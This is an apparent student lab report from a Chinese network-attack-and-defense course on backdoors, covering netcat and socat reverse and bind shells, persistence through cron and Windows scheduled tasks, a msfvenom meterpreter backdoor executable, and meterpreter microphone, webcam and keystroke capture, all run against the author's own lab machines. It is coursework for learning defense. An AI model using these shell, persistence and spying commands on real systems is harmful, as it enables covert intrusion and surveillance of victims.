2018-2019-2 网络对抗技术 20165115 Exp2 后门原理与实践

后门的基本概念及基础问题问答

一、后门的概念

• 留在计算机系统当中的、共某些特殊使用者通过特殊方式控制计算机系统的途径

• 可以绕过系统已有的安全设置，还能够挫败各种增强的安全措施

二、基础问题回答

- Q：列举一个你能想到的后门进入系统的可能方式

1.通过非官方途径下载安装的应用程序中绑定的可执行文件留下后门；

2.访问的网页被植入木马程序，访问之后自动安装木马程序。

- Q：列举你知道的后门的启动（win及linux）方式

1.Windows：可以通过修改注册表项、有道游湖执行带有后门的可执行文件或设置为开机自启项等；

2.Linux：可以对正常的软件注入shellcode。

- Q：Meterpreter有哪些给你印象深刻的功能

1.可以通过植入后门在被侵入用户不知情的情况下获取被控及的shell、执行指令；还可以调用并获取被控制主机的话筒、摄像头、键盘等硬件。

- Q：如何检测自己的系统当中是否被安装后门

1.检查系统中是否有异常开放的端口；

2.通过杀毒软件等对电脑进行监控并定期对系统进行检测；

3.检查开机自启项、注册表当中是否有可以内容。

常用后门工具

netcat

netcat的一些操作

Windows下获得Linux的shell

• Windows下查看本机的IP，使用nc.exe -l -p 5115指令监听5115端口

• 在kali中反弹连接Windows，使用指令nc 192.168.1.299 5115 -e /bin/sh，其中，-e选项用于之情shell程序

• Windows成功获得kali的shell

Linux获得Windows的shell

• 查看kali的IP地址，在kali中监听5115端口nc -l -p 5115

• 在Windows中反弹连接kali，ncat.exe -e cmd.exe 192.168.1.133 5115

• kali成功获得Windows的cmd

使用nc传输数据

• 使用指令nc.exe -l -p 5115 > file1.out在Windows下监听5115端口，并将数据保存到文件 file1.out中。

• 使用指令nc 192.168.1.299 5115 < file1.in在kali当中连接到Windows的5115端口

• 成功建立连接，在kali中修改文件，Windows当中可以直接接收到。

实验内容

任务一：使用netcat获取主机操作shell并通过cron启动

• 在Windows系统下监听5115端口；
• 在kali下通过crontab -e指令添加一条定时任务，编辑器我选择的是3vim编辑器；
• 在打开的文件的最后一行添加指令25 * * * * /bin/netcat 192.168.1.73 5115 -e /bin/sh

• 当时间到达25分钟时，Windows就自动获得了kali的shell

任务二：使用socat获取主机操作shell，通过任务计划启动

• 在Windows的控制面板当中找到“任务计划程序”，创建新任务。其中，触发器选择“任意用户锁定工作站时”，在操作当中的程序或脚本中选择本机当中socat.exe文件的路径，在添加参数一栏中填写tcp-listen:5315exec:cmd.exe,pty,stderr命令，该命令的作用是将cmd.exe绑定到5115端口上，同时将cmd的stderr重定向到stdout上；

• 创建完成之后，锁定计算机。再次打开就能发现该任务已经开始运行；

• 完成之后在kali的环境下输入socat - tcp:192.168.1.191:5115指令，就可以获得Windows的cmd shell。

任务三 使用MSF meterpreter生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

• 首先在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=5115 -f exe > 20165115_backdoor.exe其中的IP地址为kali的IP地址。可以看到在kali当中已经生成了我们需要的后门程序20165115_backdoor.exe；

• 在Windows的cmd中输入指令nc.exe -l -p 5115 > 20165115_backdoor.exe，将被控主机转入接受文件模式；
• 回到kali中执行指令nc 192.168.1.191 5115 < 20165318_backdoor.exe，即可成功将文件传输至被控主机当中

• 在kali中执行msfconsole指令进入msf控制台进行后续的操作；
• 输入use exploit/multi/handler调用监听模块；
• 通过set payload windows/meterpreter/reverse_tcp设置使用和生成后门程序时使用相同的payload
• set LHOST 192.168.1.133与set LPORT 5115，设置成生成后门程序时的IP地址与端口号

• 设置完成之后输入exploit开始监听，回到Windows下执行刚才的后门程序，kali中就获得了Windows的shell

任务四：使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

• 使用record_mic指令获取音频
• 使用webcam_snap可以使用摄像头进行摄像（我的摄像头有问题所以拍出来的只有大概的轮廓）

• 使用keyscan_start指令开始记录击键，使用keyscan_dump读取击键记录

实验中遇到的问题及解决方法

• 在设置任务计划后从kali中一直无法唤起Windows响应，截图如下：

导致这个问题出现的原因是Windows的一个小bug，即虽然任务计划当中我们设定的计划在运行，但实际上还需要手动启动一次才真正的开始运行。

实验总结与体会

• 通过后门入侵系统有着极大的危害，或者从另一种角度来说，有着极大的作用与广阔的使用范围。所以在目前掌握的基础之上更加深入的了解后门的原理，可以更好的提高自己的危险防范知识与能力。后门的原理是非常重要与具有实际意义的知识。

# 2018-2019-2 网络对抗技术 20165115 Exp2 后门原理与实践 #

原文：https://www.cnblogs.com/zcy20165115/p/10587128.html